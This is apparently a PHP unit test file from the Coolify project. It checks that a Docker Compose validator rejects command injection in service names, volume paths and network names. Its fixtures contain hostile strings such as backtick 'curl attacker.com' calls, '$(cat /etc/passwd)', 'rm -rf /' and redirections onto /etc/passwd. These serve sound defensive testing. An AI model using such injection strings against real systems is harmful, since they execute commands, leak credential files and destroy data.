Files
coolify/tests/Unit/PreSaveValidationTest.php
T
Andras Bacsai 37bd776f70 feat(services): allow variables in compose network names
Accept a top-level network `name:` that is a single Compose variable
(`${VAR}`, `${VAR:-default}`, `${VAR-default}`), e.g. for external
networks that differ per server. The default must still be a valid
network name; surrounding text, nested variables, and shell syntax
are still rejected.

When parsing services, such variables are created as service
environment variables (seeded with the default) so users can view and
change them, while the compose file keeps the variable for Compose to
resolve from .env at deployment. Existing values are preserved on
re-parse.
2026-09-25 21:43:35 +02:00

311 lines
9.0 KiB
PHP

<?php
test('validateDockerComposeForInjection blocks malicious service names', function () {
$maliciousCompose = <<<'YAML'
services:
evil`curl attacker.com`:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/pwn`curl attacker.com`:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '$(cat /etc/passwd):/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks pipes in service names', function () {
$maliciousCompose = <<<'YAML'
services:
web|cat /etc/passwd:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test; rm -rf /:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection allows legitimate compose files', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www/html:/usr/share/nginx/html
- app-data:/data
db:
image: postgres:15
volumes:
- db-data:/var/lib/postgresql/data
volumes:
app-data:
db-data:
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA_PATH}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA:-$(cat /etc/passwd)}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection requires services section', function () {
$invalidCompose = <<<'YAML'
version: '3'
networks:
mynet:
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
});
test('validateDockerComposeForInjection handles empty volumes array', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes: []
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
// YAML parser will reject this before our validation (which is good!)
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test > /etc/passwd:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection validates volume targets', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/safe:/app`curl attacker.com`'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection handles multiple services', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www:/usr/share/nginx/html
api:
image: node:18
volumes:
- /app/src:/usr/src/app
db:
image: postgres:15
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks invalid top-level network names', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
"app'network":
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose network name');
});
test('validateDockerComposeForInjection blocks invalid service network list items', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
- "app'network"
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service network');
});
test('validateDockerComposeForInjection blocks invalid service network map keys', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
"app'network":
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service network');
});
test('validateDockerComposeForInjection blocks invalid compose network name fields', function () {
$invalidCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
frontend:
name: "app'network"
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Invalid Docker Compose network name field');
});
test('validateDockerComposeForInjection allows legitimate compose networks', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
networks:
- frontend
- backend
networks:
frontend:
backend:
name: app-backend
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows variables in compose network name fields', function (string $name) {
$compose = <<<YAML
services:
app:
image: nginx:latest
networks:
- shared
networks:
shared:
external: true
name: '{$name}'
YAML;
expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
})->with([
'variable' => ['${SHARED_NETWORK}'],
'variable with a default' => ['${SHARED_NETWORK:-traefik_public}'],
'variable with an unset-only default' => ['${SHARED_NETWORK-traefik-public.1}'],
]);
test('validateDockerComposeForInjection still blocks unsafe compose network names with variables', function (string $name, string $where) {
$networkKey = $where === 'key' ? $name : 'shared';
$nameField = $where === 'name' ? $name : 'shared';
$compose = "services:\n app:\n image: nginx:latest\nnetworks:\n ".json_encode($networkKey).":\n name: ".json_encode($nameField)."\n";
expect(fn () => validateDockerComposeForInjection($compose))->toThrow(Exception::class, 'Invalid Docker Compose network name');
})->with([
'default with shell characters' => ['${NET:-bad name;id}', 'name'],
'default with command substitution' => ['${NET:-$(id)}', 'name'],
'command substitution' => ['$(id)', 'name'],
'backticks' => ['`id`', 'name'],
'text around the variable' => ['prefix_${NET}', 'name'],
'nested variable' => ['${NET:-${OTHER}}', 'name'],
'invalid variable name' => ['${1NET}', 'name'],
'required-variable form' => ['${NET:?missing}', 'name'],
'newline' => ["\${NET}\nid", 'name'],
'variable as network key' => ['${NET}', 'key'],
]);